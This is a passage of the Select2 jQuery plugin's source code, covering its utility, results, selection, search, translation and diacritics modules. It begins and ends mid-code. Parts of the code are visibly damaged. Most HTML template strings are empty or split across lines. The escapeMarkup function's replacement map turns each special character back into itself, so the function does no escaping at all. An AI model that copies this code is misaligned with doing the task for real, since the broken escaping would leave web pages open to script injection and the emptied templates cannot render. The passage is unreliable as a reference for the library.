sure that you are including jQuery before Select2 on your ' + 'web page.' ); } return _$; }); S2.define('select2/utils',[ 'jquery' ], function ($) { var Utils = {}; Utils.Extend = function (ChildClass, SuperClass) { var __hasProp = {}.hasOwnProperty; function BaseConstructor () { this.constructor = ChildClass; } for (var key in SuperClass) { if (__hasProp.call(SuperClass, key)) { ChildClass[key] = SuperClass[key]; } } BaseConstructor.prototype = SuperClass.prototype; ChildClass.prototype = new BaseConstructor(); ChildClass.__super__ = SuperClass.prototype; return ChildClass; }; function getMethods (theClass) { var proto = theClass.prototype; var methods = []; for (var methodName in proto) { var m = proto[methodName]; if (typeof m !== 'function') { continue; } if (methodName === 'constructor') { continue; } methods.push(methodName); } return methods; } Utils.Decorate = function (SuperClass, DecoratorClass) { var decoratedMethods = getMethods(DecoratorClass); var superMethods = getMethods(SuperClass); function DecoratedClass () { var unshift = Array.prototype.unshift; var argCount = DecoratorClass.prototype.constructor.length; var calledConstructor = SuperClass.prototype.constructor; if (argCount > 0) { unshift.call(arguments, SuperClass.prototype.constructor); calledConstructor = DecoratorClass.prototype.constructor; } calledConstructor.apply(this, arguments); } DecoratorClass.displayName = SuperClass.displayName; function ctr () { this.constructor = DecoratedClass; } DecoratedClass.prototype = new ctr(); for (var m = 0; m < superMethods.length; m++) { var superMethod = superMethods[m]; DecoratedClass.prototype[superMethod] = SuperClass.prototype[superMethod]; } var calledMethod = function (methodName) { // Stub out the original method if it's not decorating an actual method var originalMethod = function () {}; if (methodName in DecoratedClass.prototype) { originalMethod = DecoratedClass.prototype[methodName]; } var decoratedMethod = DecoratorClass.prototype[methodName]; return function () { var unshift = Array.prototype.unshift; unshift.call(arguments, originalMethod); return decoratedMethod.apply(this, arguments); }; }; for (var d = 0; d < decoratedMethods.length; d++) { var decoratedMethod = decoratedMethods[d]; DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod); } return DecoratedClass; }; var Observable = function () { this.listeners = {}; }; Observable.prototype.on = function (event, callback) { this.listeners = this.listeners || {}; if (event in this.listeners) { this.listeners[event].push(callback); } else { this.listeners[event] = [callback]; } }; Observable.prototype.trigger = function (event) { var slice = Array.prototype.slice; var params = slice.call(arguments, 1); this.listeners = this.listeners || {}; // Params should always come in as an array if (params == null) { params = []; } // If there are no arguments to the event, use a temporary object if (params.length === 0) { params.push({}); } // Set the `_type` of the first object to the event params[0]._type = event; if (event in this.listeners) { this.invoke(this.listeners[event], slice.call(arguments, 1)); } if ('*' in this.listeners) { this.invoke(this.listeners['*'], arguments); } }; Observable.prototype.invoke = function (listeners, params) { for (var i = 0, len = listeners.length; i < len; i++) { listeners[i].apply(this, params); } }; Utils.Observable = Observable; Utils.generateChars = function (length) { var chars = ''; for (var i = 0; i < length; i++) { var randomChar = Math.floor(Math.random() * 36); chars += randomChar.toString(36); } return chars; }; Utils.bind = function (func, context) { return function () { func.apply(context, arguments); }; }; Utils._convertData = function (data) { for (var originalKey in data) { var keys = originalKey.split('-'); var dataLevel = data; if (keys.length === 1) { continue; } for (var k = 0; k < keys.length; k++) { var key = keys[k]; // Lowercase the first letter // By default, dash-separated becomes camelCase key = key.substring(0, 1).toLowerCase() + key.substring(1); if (!(key in dataLevel)) { dataLevel[key] = {}; } if (k == keys.length - 1) { dataLevel[key] = data[originalKey]; } dataLevel = dataLevel[key]; } delete data[originalKey]; } return data; }; Utils.hasScroll = function (index, el) { // Adapted from the function created by @ShadowScripter // and adapted by @BillBarry on the Stack Exchange Code Review website. // The original code can be found at // http://codereview.stackexchange.com/q/13338 // and was designed to be used with the Sizzle selector engine. var $el = $(el); var overflowX = el.style.overflowX; var overflowY = el.style.overflowY; //Check both x and y declarations if (overflowX === overflowY && (overflowY === 'hidden' || overflowY === 'visible')) { return false; } if (overflowX === 'scroll' || overflowY === 'scroll') { return true; } return ($el.innerHeight() < el.scrollHeight || $el.innerWidth() < el.scrollWidth); }; Utils.escapeMarkup = function (markup) { var replaceMap = { '\\': '\', '&': '&', '<': '<', '>': '>', '"': '"', '\'': ''', '/': '/' }; // Do not try to escape the markup if it's not a string if (typeof markup !== 'string') { return markup; } return String(markup).replace(/[&<>"'\/\\]/g, function (match) { return replaceMap[match]; }); }; // Append an array of jQuery nodes to a given element. Utils.appendMany = function ($element, $nodes) { // jQuery 1.7.x does not support $.fn.append() with an array // Fall back to a jQuery object collection using $.fn.add() if ($.fn.jquery.substr(0, 3) === '1.7') { var $jqNodes = $(); $.map($nodes, function (node) { $jqNodes = $jqNodes.add(node); }); $nodes = $jqNodes; } $element.append($nodes); }; return Utils; }); S2.define('select2/results',[ 'jquery', './utils' ], function ($, Utils) { function Results ($element, options, dataAdapter) { this.$element = $element; this.data = dataAdapter; this.options = options; Results.__super__.constructor.call(this); } Utils.Extend(Results, Utils.Observable); Results.prototype.render = function () { var $results = $( '
      ' ); if (this.options.get('multiple')) { $results.attr('aria-multiselectable', 'true'); } this.$results = $results; return $results; }; Results.prototype.clear = function () { this.$results.empty(); }; Results.prototype.displayMessage = function (params) { var escapeMarkup = this.options.get('escapeMarkup'); this.clear(); this.hideLoading(); var $message = $( '
    • ' ); var message = this.options.get('translations').get(params.message); $message.append( escapeMarkup( message(params.args) ) ); $message[0].className += ' select2-results__message'; this.$results.append($message); }; Results.prototype.hideMessages = function () { this.$results.find('.select2-results__message').remove(); }; Results.prototype.append = function (data) { this.hideLoading(); var $options = []; if (data.results == null || data.results.length === 0) { if (this.$results.children().length === 0) { this.trigger('results:message', { message: 'noResults' }); } return; } data.results = this.sort(data.results); for (var d = 0; d < data.results.length; d++) { var item = data.results[d]; var $option = this.option(item); $options.push($option); } this.$results.append($options); }; Results.prototype.position = function ($results, $dropdown) { var $resultsContainer = $dropdown.find('.select2-results'); $resultsContainer.append($results); }; Results.prototype.sort = function (data) { var sorter = this.options.get('sorter'); return sorter(data); }; Results.prototype.highlightFirstItem = function () { var $options = this.$results .find('.select2-results__option[aria-selected]'); var $selected = $options.filter('[aria-selected=true]'); // Check if there are any selected options if ($selected.length > 0) { // If there are selected options, highlight the first $selected.first().trigger('mouseenter'); } else { // If there are no selected options, highlight the first option // in the dropdown $options.first().trigger('mouseenter'); } this.ensureHighlightVisible(); }; Results.prototype.setClasses = function () { var self = this; this.data.current(function (selected) { var selectedIds = $.map(selected, function (s) { return s.id.toString(); }); var $options = self.$results .find('.select2-results__option[aria-selected]'); $options.each(function () { var $option = $(this); var item = $.data(this, 'data'); // id needs to be converted to a string when comparing var id = '' + item.id; if ((item.element != null && item.element.selected) || (item.element == null && $.inArray(id, selectedIds) > -1)) { $option.attr('aria-selected', 'true'); } else { $option.attr('aria-selected', 'false'); } }); }); }; Results.prototype.showLoading = function (params) { this.hideLoading(); var loadingMore = this.options.get('translations').get('searching'); var loading = { disabled: true, loading: true, text: loadingMore(params) }; var $loading = this.option(loading); $loading.className += ' loading-results'; this.$results.prepend($loading); }; Results.prototype.hideLoading = function () { this.$results.find('.loading-results').remove(); }; Results.prototype.option = function (data) { var option = document.createElement('li'); option.className = 'select2-results__option'; var attrs = { 'role': 'treeitem', 'aria-selected': 'false' }; if (data.disabled) { delete attrs['aria-selected']; attrs['aria-disabled'] = 'true'; } if (data.id == null) { delete attrs['aria-selected']; } if (data._resultId != null) { option.id = data._resultId; } if (data.title) { option.title = data.title; } if (data.children) { attrs.role = 'group'; attrs['aria-label'] = data.text; delete attrs['aria-selected']; } for (var attr in attrs) { var val = attrs[attr]; option.setAttribute(attr, val); } if (data.children) { var $option = $(option); var label = document.createElement('strong'); label.className = 'select2-results__group'; var $label = $(label); this.template(data, label); var $children = []; for (var c = 0; c < data.children.length; c++) { var child = data.children[c]; var $child = this.option(child); $children.push($child); } var $childrenContainer = $('
        ', { 'class': 'select2-results__options select2-results__options--nested' }); $childrenContainer.append($children); $option.append(label); $option.append($childrenContainer); } else { this.template(data, option); } $.data(option, 'data', data); return option; }; Results.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-results'; this.$results.attr('id', id); container.on('results:all', function (params) { self.clear(); self.append(params.data); if (container.isOpen()) { self.setClasses(); self.highlightFirstItem(); } }); container.on('results:append', function (params) { self.append(params.data); if (container.isOpen()) { self.setClasses(); } }); container.on('query', function (params) { self.hideMessages(); self.showLoading(params); }); container.on('select', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('unselect', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('open', function () { // When the dropdown is open, aria-expended="true" self.$results.attr('aria-expanded', 'true'); self.$results.attr('aria-hidden', 'false'); self.setClasses(); self.ensureHighlightVisible(); }); container.on('close', function () { // When the dropdown is closed, aria-expended="false" self.$results.attr('aria-expanded', 'false'); self.$results.attr('aria-hidden', 'true'); self.$results.removeAttr('aria-activedescendant'); }); container.on('results:toggle', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } $highlighted.trigger('mouseup'); }); container.on('results:select', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } var data = $highlighted.data('data'); if ($highlighted.attr('aria-selected') == 'true') { self.trigger('close', {}); } else { self.trigger('select', { data: data }); } }); container.on('results:previous', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); // If we are already at te top, don't move further if (currentIndex === 0) { return; } var nextIndex = currentIndex - 1; // If none are highlighted, highlight the first if ($highlighted.length === 0) { nextIndex = 0; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top; var nextTop = $next.offset().top; var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset); if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextTop - currentOffset < 0) { self.$results.scrollTop(nextOffset); } }); container.on('results:next', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var nextIndex = currentIndex + 1; // If we are at the last option, stay there if (nextIndex >= $options.length) { return; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var nextBottom = $next.offset().top + $next.outerHeight(false); var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset; if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextBottom > currentOffset) { self.$results.scrollTop(nextOffset); } }); container.on('results:focus', function (params) { params.element.addClass('select2-results__option--highlighted'); }); container.on('results:message', function (params) { self.displayMessage(params); }); if ($.fn.mousewheel) { this.$results.on('mousewheel', function (e) { var top = self.$results.scrollTop(); var bottom = self.$results.get(0).scrollHeight - top + e.deltaY; var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0; var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height(); if (isAtTop) { self.$results.scrollTop(0); e.preventDefault(); e.stopPropagation(); } else if (isAtBottom) { self.$results.scrollTop( self.$results.get(0).scrollHeight - self.$results.height() ); e.preventDefault(); e.stopPropagation(); } }); } this.$results.on('mouseup', '.select2-results__option[aria-selected]', function (evt) { var $this = $(this); var data = $this.data('data'); if ($this.attr('aria-selected') === 'true') { if (self.options.get('multiple')) { self.trigger('unselect', { originalEvent: evt, data: data }); } else { self.trigger('close', {}); } return; } self.trigger('select', { originalEvent: evt, data: data }); }); this.$results.on('mouseenter', '.select2-results__option[aria-selected]', function (evt) { var data = $(this).data('data'); self.getHighlightedResults() .removeClass('select2-results__option--highlighted'); self.trigger('results:focus', { data: data, element: $(this) }); }); }; Results.prototype.getHighlightedResults = function () { var $highlighted = this.$results .find('.select2-results__option--highlighted'); return $highlighted; }; Results.prototype.destroy = function () { this.$results.remove(); }; Results.prototype.ensureHighlightVisible = function () { var $highlighted = this.getHighlightedResults(); if ($highlighted.length === 0) { return; } var $options = this.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var currentOffset = this.$results.offset().top; var nextTop = $highlighted.offset().top; var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset); var offsetDelta = nextTop - currentOffset; nextOffset -= $highlighted.outerHeight(false) * 2; if (currentIndex <= 2) { this.$results.scrollTop(0); } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) { this.$results.scrollTop(nextOffset); } }; Results.prototype.template = function (result, container) { var template = this.options.get('templateResult'); var escapeMarkup = this.options.get('escapeMarkup'); var content = template(result, container); if (content == null) { container.style.display = 'none'; } else if (typeof content === 'string') { container.innerHTML = escapeMarkup(content); } else { $(container).append(content); } }; return Results; }); S2.define('select2/keys',[ ], function () { var KEYS = { BACKSPACE: 8, TAB: 9, ENTER: 13, SHIFT: 16, CTRL: 17, ALT: 18, ESC: 27, SPACE: 32, PAGE_UP: 33, PAGE_DOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40, DELETE: 46 }; return KEYS; }); S2.define('select2/selection/base',[ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function BaseSelection ($element, options) { this.$element = $element; this.options = options; BaseSelection.__super__.constructor.call(this); } Utils.Extend(BaseSelection, Utils.Observable); BaseSelection.prototype.render = function () { var $selection = $( '' ); this._tabindex = 0; if (this.$element.data('old-tabindex') != null) { this._tabindex = this.$element.data('old-tabindex'); } else if (this.$element.attr('tabindex') != null) { this._tabindex = this.$element.attr('tabindex'); } $selection.attr('title', this.$element.attr('title')); $selection.attr('tabindex', this._tabindex); this.$selection = $selection; return $selection; }; BaseSelection.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-container'; var resultsId = container.id + '-results'; this.container = container; this.$selection.on('focus', function (evt) { self.trigger('focus', evt); }); this.$selection.on('blur', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', function (evt) { self.trigger('keypress', evt); if (evt.which === KEYS.SPACE) { evt.preventDefault(); } }); container.on('results:focus', function (params) { self.$selection.attr('aria-activedescendant', params.data._resultId); }); container.on('selection:update', function (params) { self.update(params.data); }); container.on('open', function () { // When the dropdown is open, aria-expanded="true" self.$selection.attr('aria-expanded', 'true'); self.$selection.attr('aria-owns', resultsId); self._attachCloseHandler(container); }); container.on('close', function () { // When the dropdown is closed, aria-expanded="false" self.$selection.attr('aria-expanded', 'false'); self.$selection.removeAttr('aria-activedescendant'); self.$selection.removeAttr('aria-owns'); self.$selection.focus(); self._detachCloseHandler(container); }); container.on('enable', function () { self.$selection.attr('tabindex', self._tabindex); }); container.on('disable', function () { self.$selection.attr('tabindex', '-1'); }); }; BaseSelection.prototype._handleBlur = function (evt) { var self = this; // This needs to be delayed as the active element is the body when the tab // key is pressed, possibly along with others. window.setTimeout(function () { // Don't trigger `blur` if the focus is still in the selection if ( (document.activeElement == self.$selection[0]) || ($.contains(self.$selection[0], document.activeElement)) ) { return; } self.trigger('blur', evt); }, 1); }; BaseSelection.prototype._attachCloseHandler = function (container) { var self = this; $(document.body).on('mousedown.select2.' + container.id, function (e) { var $target = $(e.target); var $select = $target.closest('.select2'); var $all = $('.select2.select2-container--open'); $all.each(function () { var $this = $(this); if (this == $select[0]) { return; } var $element = $this.data('element'); $element.select2('close'); }); }); }; BaseSelection.prototype._detachCloseHandler = function (container) { $(document.body).off('mousedown.select2.' + container.id); }; BaseSelection.prototype.position = function ($selection, $container) { var $selectionContainer = $container.find('.selection'); $selectionContainer.append($selection); }; BaseSelection.prototype.destroy = function () { this._detachCloseHandler(this.container); }; BaseSelection.prototype.update = function (data) { throw new Error('The `update` method must be defined in child classes.'); }; return BaseSelection; }); S2.define('select2/selection/single',[ 'jquery', './base', '../utils', '../keys' ], function ($, BaseSelection, Utils, KEYS) { function SingleSelection () { SingleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(SingleSelection, BaseSelection); SingleSelection.prototype.render = function () { var $selection = SingleSelection.__super__.render.call(this); $selection.addClass('select2-selection--single'); $selection.html( '' + '' + '' + '' ); return $selection; }; SingleSelection.prototype.bind = function (container, $container) { var self = this; SingleSelection.__super__.bind.apply(this, arguments); var id = container.id + '-container'; this.$selection.find('.select2-selection__rendered').attr('id', id); this.$selection.attr('aria-labelledby', id); this.$selection.on('mousedown', function (evt) { // Only respond to left clicks if (evt.which !== 1) { return; } self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on('focus', function (evt) { // User focuses on the container }); this.$selection.on('blur', function (evt) { // User exits the container }); container.on('focus', function (evt) { if (!container.isOpen()) { self.$selection.focus(); } }); container.on('selection:update', function (params) { self.update(params.data); }); }; SingleSelection.prototype.clear = function () { this.$selection.find('.select2-selection__rendered').empty(); }; SingleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; SingleSelection.prototype.selectionContainer = function () { return $(''); }; SingleSelection.prototype.update = function (data) { if (data.length === 0) { this.clear(); return; } var selection = data[0]; var $rendered = this.$selection.find('.select2-selection__rendered'); var formatted = this.display(selection, $rendered); $rendered.empty().append(formatted); $rendered.prop('title', selection.title || selection.text); }; return SingleSelection; }); S2.define('select2/selection/multiple',[ 'jquery', './base', '../utils' ], function ($, BaseSelection, Utils) { function MultipleSelection ($element, options) { MultipleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(MultipleSelection, BaseSelection); MultipleSelection.prototype.render = function () { var $selection = MultipleSelection.__super__.render.call(this); $selection.addClass('select2-selection--multiple'); $selection.html( '
          ' ); return $selection; }; MultipleSelection.prototype.bind = function (container, $container) { var self = this; MultipleSelection.__super__.bind.apply(this, arguments); this.$selection.on('click', function (evt) { self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on( 'click', '.select2-selection__choice__remove', function (evt) { // Ignore the event if it is disabled if (self.options.get('disabled')) { return; } var $remove = $(this); var $selection = $remove.parent(); var data = $selection.data('data'); self.trigger('unselect', { originalEvent: evt, data: data }); } ); }; MultipleSelection.prototype.clear = function () { this.$selection.find('.select2-selection__rendered').empty(); }; MultipleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; MultipleSelection.prototype.selectionContainer = function () { var $container = $( '
        • ' + '' + '×' + '' + '
        • ' ); return $container; }; MultipleSelection.prototype.update = function (data) { this.clear(); if (data.length === 0) { return; } var $selections = []; for (var d = 0; d < data.length; d++) { var selection = data[d]; var $selection = this.selectionContainer(); var formatted = this.display(selection, $selection); $selection.append(formatted); $selection.prop('title', selection.title || selection.text); $selection.data('data', selection); $selections.push($selection); } var $rendered = this.$selection.find('.select2-selection__rendered'); Utils.appendMany($rendered, $selections); }; return MultipleSelection; }); S2.define('select2/selection/placeholder',[ '../utils' ], function (Utils) { function Placeholder (decorated, $element, options) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options); } Placeholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; Placeholder.prototype.createPlaceholder = function (decorated, placeholder) { var $placeholder = this.selectionContainer(); $placeholder.html(this.display(placeholder)); $placeholder.addClass('select2-selection__placeholder') .removeClass('select2-selection__choice'); return $placeholder; }; Placeholder.prototype.update = function (decorated, data) { var singlePlaceholder = ( data.length == 1 && data[0].id != this.placeholder.id ); var multipleSelections = data.length > 1; if (multipleSelections || singlePlaceholder) { return decorated.call(this, data); } this.clear(); var $placeholder = this.createPlaceholder(this.placeholder); this.$selection.find('.select2-selection__rendered').append($placeholder); }; return Placeholder; }); S2.define('select2/selection/allowClear',[ 'jquery', '../keys' ], function ($, KEYS) { function AllowClear () { } AllowClear.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); if (this.placeholder == null) { if (this.options.get('debug') && window.console && console.error) { console.error( 'Select2: The `allowClear` option should be used in combination ' + 'with the `placeholder` option.' ); } } this.$selection.on('mousedown', '.select2-selection__clear', function (evt) { self._handleClear(evt); }); container.on('keypress', function (evt) { self._handleKeyboardClear(evt, container); }); }; AllowClear.prototype._handleClear = function (_, evt) { // Ignore the event if it is disabled if (this.options.get('disabled')) { return; } var $clear = this.$selection.find('.select2-selection__clear'); // Ignore the event if nothing has been selected if ($clear.length === 0) { return; } evt.stopPropagation(); var data = $clear.data('data'); for (var d = 0; d < data.length; d++) { var unselectData = { data: data[d] }; // Trigger the `unselect` event, so people can prevent it from being // cleared. this.trigger('unselect', unselectData); // If the event was prevented, don't clear it out. if (unselectData.prevented) { return; } } this.$element.val(this.placeholder.id).trigger('change'); this.trigger('toggle', {}); }; AllowClear.prototype._handleKeyboardClear = function (_, evt, container) { if (container.isOpen()) { return; } if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) { this._handleClear(evt); } }; AllowClear.prototype.update = function (decorated, data) { decorated.call(this, data); if (this.$selection.find('.select2-selection__placeholder').length > 0 || data.length === 0) { return; } var $remove = $( '' + '×' + '' ); $remove.data('data', data); this.$selection.find('.select2-selection__rendered').prepend($remove); }; return AllowClear; }); S2.define('select2/selection/search',[ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function Search (decorated, $element, options) { decorated.call(this, $element, options); } Search.prototype.render = function (decorated) { var $search = $( '' ); this.$searchContainer = $search; this.$search = $search.find('input'); var $rendered = decorated.call(this); this._transferTabIndex(); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('open', function () { self.$search.trigger('focus'); }); container.on('close', function () { self.$search.val(''); self.$search.removeAttr('aria-activedescendant'); self.$search.trigger('focus'); }); container.on('enable', function () { self.$search.prop('disabled', false); self._transferTabIndex(); }); container.on('disable', function () { self.$search.prop('disabled', true); }); container.on('focus', function (evt) { self.$search.trigger('focus'); }); container.on('results:focus', function (params) { self.$search.attr('aria-activedescendant', params.id); }); this.$selection.on('focusin', '.select2-search--inline', function (evt) { self.trigger('focus', evt); }); this.$selection.on('focusout', '.select2-search--inline', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', '.select2-search--inline', function (evt) { evt.stopPropagation(); self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); var key = evt.which; if (key === KEYS.BACKSPACE && self.$search.val() === '') { var $previousChoice = self.$searchContainer .prev('.select2-selection__choice'); if ($previousChoice.length > 0) { var item = $previousChoice.data('data'); self.searchRemoveChoice(item); evt.preventDefault(); } } }); // Try to detect the IE version should the `documentMode` property that // is stored on the document. This is only implemented in IE and is // slightly cleaner than doing a user agent check. // This property is not available in Edge, but Edge also doesn't have // this bug. var msie = document.documentMode; var disableInputEvents = msie && msie <= 11; // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$selection.on( 'input.searchcheck', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents) { self.$selection.off('input.search input.searchcheck'); return; } // Unbind the duplicated `keyup` event self.$selection.off('keyup.search'); } ); this.$selection.on( 'keyup.search input.search', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents && evt.type === 'input') { self.$selection.off('input.search input.searchcheck'); return; } var key = evt.which; // We can freely ignore events from modifier keys if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) { return; } // Tabbing will be handled during the `keydown` phase if (key == KEYS.TAB) { return; } self.handleSearch(evt); } ); }; /** * This method will transfer the tabindex attribute from the rendered * selection to the search box. This allows for the search box to be used as * the primary focus instead of the selection container. * * @private */ Search.prototype._transferTabIndex = function (decorated) { this.$search.attr('tabindex', this.$selection.attr('tabindex')); this.$selection.attr('tabindex', '-1'); }; Search.prototype.createPlaceholder = function (decorated, placeholder) { this.$search.attr('placeholder', placeholder.text); }; Search.prototype.update = function (decorated, data) { var searchHadFocus = this.$search[0] == document.activeElement; this.$search.attr('placeholder', ''); decorated.call(this, data); this.$selection.find('.select2-selection__rendered') .append(this.$searchContainer); this.resizeSearch(); if (searchHadFocus) { this.$search.focus(); } }; Search.prototype.handleSearch = function () { this.resizeSearch(); if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.searchRemoveChoice = function (decorated, item) { this.trigger('unselect', { data: item }); this.$search.val(item.text); this.handleSearch(); }; Search.prototype.resizeSearch = function () { this.$search.css('width', '25px'); var width = ''; if (this.$search.attr('placeholder') !== '') { width = this.$selection.find('.select2-selection__rendered').innerWidth(); } else { var minimumWidth = this.$search.val().length + 1; width = (minimumWidth * 0.75) + 'em'; } this.$search.css('width', width); }; return Search; }); S2.define('select2/selection/eventRelay',[ 'jquery' ], function ($) { function EventRelay () { } EventRelay.prototype.bind = function (decorated, container, $container) { var self = this; var relayEvents = [ 'open', 'opening', 'close', 'closing', 'select', 'selecting', 'unselect', 'unselecting' ]; var preventableEvents = ['opening', 'closing', 'selecting', 'unselecting']; decorated.call(this, container, $container); container.on('*', function (name, params) { // Ignore events that should not be relayed if ($.inArray(name, relayEvents) === -1) { return; } // The parameters should always be an object params = params || {}; // Generate the jQuery event for the Select2 event var evt = $.Event('select2:' + name, { params: params }); self.$element.trigger(evt); // Only handle preventable events if it was one if ($.inArray(name, preventableEvents) === -1) { return; } params.prevented = evt.isDefaultPrevented(); }); }; return EventRelay; }); S2.define('select2/translation',[ 'jquery', 'require' ], function ($, require) { function Translation (dict) { this.dict = dict || {}; } Translation.prototype.all = function () { return this.dict; }; Translation.prototype.get = function (key) { return this.dict[key]; }; Translation.prototype.extend = function (translation) { this.dict = $.extend({}, translation.all(), this.dict); }; // Static functions Translation._cache = {}; Translation.loadPath = function (path) { if (!(path in Translation._cache)) { var translations = require(path); Translation._cache[path] = translations; } return new Translation(Translation._cache[path]); }; return Translation; }); S2.define('select2/diacritics',[ ], function () { var diacritics = { '\u24B6': 'A', '\uFF21': 'A', '\u00C0': 'A', '\u00C1': 'A', '\u00C2': 'A', '\u1EA6': 'A', '\u1EA4': 'A', '\u1EAA': 'A', '\u1EA8': 'A', '\u00C3': 'A', '\u0100': 'A', '\u0102': 'A', '\u1EB0': 'A', '\u1EAE': 'A', '\u1EB4': 'A', '\u1EB2': 'A', '\u0226': 'A', '\u01E0': 'A', '\u00C4': 'A', '\u01DE': 'A', '\u1EA2': 'A', '\u00C5': 'A', '\u01FA': 'A', '\u01CD': 'A', '\u0200': 'A', '\u0202': 'A', '\u1EA0': 'A', '\u1EAC': 'A', '\u1EB6': 'A', '\u1E00': 'A', '\u0104': 'A', '\u023A': 'A', '\u2C6F': 'A', '\uA732': 'AA', '\u00C6': 'AE', '\u01FC': 'AE', '\u01E2': 'AE', '\uA734': 'AO', '\uA736': 'AU', '\uA738': 'AV', '\uA73A': 'AV', '\uA73C': 'AY', '\u24B7': 'B', '\uFF22': 'B', '\u1E02': 'B', '\u1E04': 'B', '\u1E06': 'B', '\u0243': 'B', '\u0182': 'B', '\u0181': 'B', '\u24B8': 'C', '\uFF23': 'C', '\u0106': 'C', '\u0108': 'C', '\u010A': 'C', '\u010C': 'C', '\u00C7': 'C', '\u1E08': 'C', '\u0187': 'C', '\u023B': 'C', '\uA73E': 'C', '\u24B9': 'D', '\uFF24': 'D', '\u1E0A': 'D', '\u010E': 'D', '\u1E0C': 'D', '\u1E10': 'D', '\u1E12': 'D', '\u1E0E': 'D', '\u0110': 'D', '\u018B': 'D', '\u018A': 'D', '\u0189': 'D', '\uA779': 'D', '\u01F1': 'DZ', '\u01C4': 'DZ', '\u01F2': 'Dz', '\u01C5': 'Dz', '\u24BA': 'E', '\uFF25': 'E', '\u00C8': 'E', '\u00C9': 'E', '\u00CA': 'E', '\u1EC0': 'E', '\u1EBE': 'E', '\u1EC4': 'E', '\u1EC2': 'E', '\u1EBC': 'E', '\u0112': 'E', '\u1E14': 'E', '\u1E16': 'E', '\u0114': 'E', '\u0116': 'E', '\u00CB': 'E', '\u1EBA': 'E', '\u011A': 'E', '\u0204': 'E', '\u0206': 'E', '\u1EB8': 'E', '\u1EC6': 'E', '\u0228': 'E', '\u1E1C': 'E', '\u0118': 'E', '\u1E18': 'E', '\u1E1A': 'E', '\u0190': 'E', '\u018E': 'E', '\u24BB': 'F', '\uFF26': 'F', '\u1E1E': 'F', '\u0191': 'F', '\uA77B': 'F', '\u24BC': 'G', '\uFF27': 'G', '\u01F4': 'G', '\u011C': 'G', '\u1E20': 'G', '\u011E': 'G', '\u0120': 'G', '\u01E6': 'G', '\u0122': 'G', '\u01E4': 'G', '\u0193': 'G', '\uA7A0': 'G', '\uA77D': 'G', '\uA77E': 'G', '\u24BD': 'H', '\uFF28': 'H', '\u0124': 'H', '\u1E22': 'H', '\u1E26': 'H', '\u021E': 'H', '\u1E24': 'H', '\u1E28': 'H', '\u1E2A': 'H', '\u0126': 'H', '\u2C67': 'H', '\u2C75': 'H', '\uA78D': 'H', '\u24BE': 'I', '\uFF29': 'I', '\u00CC': 'I', '\u00CD': 'I', '\u00CE': 'I', '\u0128': 'I', '\u012A': 'I', '\u012C': 'I', '\u0130': 'I', '\u00CF': 'I', '\u1E2E': 'I', '\u1EC8': 'I', '\u01CF': 'I', '\u0208': 'I', '\u020A': 'I', '\u1ECA': 'I', '\u012E': 'I', '\u1E2C': 'I', '\u0197': 'I', '\u24BF': 'J', '\uFF2A': 'J', '\u0134': 'J', '\u0248': 'J', '\u24C0': 'K', '\uFF2B': 'K', '\u1E30': 'K', '\u01E8': 'K', '\u1E32': 'K', '\u0136': 'K', '\u1E34': 'K', '\u0198': 'K', '\u2C69': 'K', '\uA740': 'K', '\uA742': 'K', '\uA744': 'K', '\uA7A2': 'K', '\u24C1': 'L', '\uFF2C': 'L', '\u013F': 'L', '\u0139': 'L', 